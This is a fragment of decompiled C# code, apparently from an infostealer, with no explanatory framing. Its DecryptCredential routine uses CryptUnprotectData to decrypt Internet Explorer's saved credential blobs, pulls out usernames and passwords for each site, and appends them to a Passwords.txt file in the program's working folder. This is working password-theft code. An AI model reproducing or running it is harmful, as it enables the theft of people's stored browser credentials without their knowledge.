private static extern bool CryptUnprotectData(ref Internet_Explorer.DATA_BLOB pDataIn, int szDataDescr, ref Internet_Explorer.DATA_BLOB pOptionalEntropy, int pvReserved, int pPromptStruct, int dwFlags, ref Internet_Explorer.DATA_BLOB pDataOut);
// Token: 0x060000B9 RID: 185 RVA: 0x00009020 File Offset: 0x00007220 public static void DecryptCredential(string sURL, string sHash, int Length, byte[] data) { List <string[]> list = new List <string[]>(); Internet_Explorer.DATA_BLOB data_BLOB = default(Internet_Explorer.DATA_BLOB); Internet_Explorer.DATA_BLOB data_BLOB2 = default(Internet_Explorer.DATA_BLOB); Internet_Explorer.DATA_BLOB data_BLOB3 = default(Internet_Explorer.DATA_BLOB); Internet_Explorer.StringIndexHeader stringIndexHeader = default(Internet_Explorer.StringIndexHeader); Internet_Explorer.StringIndexEntry stringIndexEntry = default(Internet_Explorer.StringIndexEntry); IntPtr intPtr = Marshal.AllocHGlobal(Length); Marshal.Copy(data, 0, intPtr, Length); data_BLOB.cbData = Length; data_BLOB.pbData = intPtr; data_BLOB3.cbData = (sURL.Length + 1) * 2; data_BLOB3.pbData = Internet_Explorer.VarPtr(sURL); if (Internet_Explorer.CryptUnprotectData(ref data_BLOB, 0, ref data_BLOB3, 0, 0, 0, ref data_BLOB2)) { IntPtr ptr = new IntPtr(data_BLOB2.pbData.ToInt32() + (int)Marshal.ReadByte(data_BLOB2.pbData)); stringIndexHeader = (Internet_Explorer.StringIndexHeader)Marshal.PtrToStructure(ptr, stringIndexHeader.GetType()); if (stringIndexHeader.dwType == 1 && stringIndexHeader.dwEntriesCount >= 2) { IntPtr ptr2 = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize); IntPtr intPtr2 = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwEntriesCount * Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry)); int num = 0; while ((double)num < (double)stringIndexHeader.dwEntriesCount / 2.0) { if (num != 0) { ptr2 = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry)); } stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType()); IntPtr ptr3 = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset); string text = Marshal.PtrToStringAuto(ptr3); ptr2 = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry)); stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType()); ptr3 = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset); string text2 = Marshal.PtrToStringAuto(ptr3); string[] item = new string[] { sURL, text, text2, "Internet Explorer" }; list.Add(item); Math.Max(Interlocked.Increment(ref num), num - 1); } } string str = Program.path + "\\"; foreach (string[] array in list) { Directory.CreateDirectory(str + array[3]); using (StreamWriter streamWriter = new StreamWriter(str + array[3] + "\\Passwords.txt", true)) { streamWriter.WriteLine(string.Concat(new string[] { "\n[PASSWORD]\nHostname: ", array[0], "\nUsername: "******"\nPassword: ", array[2] })); } } } }